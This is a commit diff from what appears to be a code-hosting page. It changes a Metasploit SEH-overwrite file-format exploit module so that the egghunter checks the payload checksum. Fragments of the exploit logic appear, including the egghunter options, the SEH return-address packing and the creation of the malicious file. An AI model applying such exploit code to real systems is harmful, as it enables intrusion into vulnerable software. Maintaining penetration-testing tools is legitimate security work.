Verify checksum to avoid jumping to a corrupt payload
parent
ae7c2acf9d
commit
bce6c9abcf
|
@ -68,10 +68,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def exploit
|
||||
|
||||
eggoptions =
|
||||
{
|
||||
:checksum => false,
|
||||
:checksum => true,
|
||||
:eggtag => 'w00t'
|
||||
}
|
||||
|
||||
|
@ -85,8 +84,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
buffer << [target.ret].pack('V') # seh
|
||||
|
||||
print_status("Creating '#{datastore['FILENAME']}' file ...")
|
||||
|
||||
file_create(buffer)
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue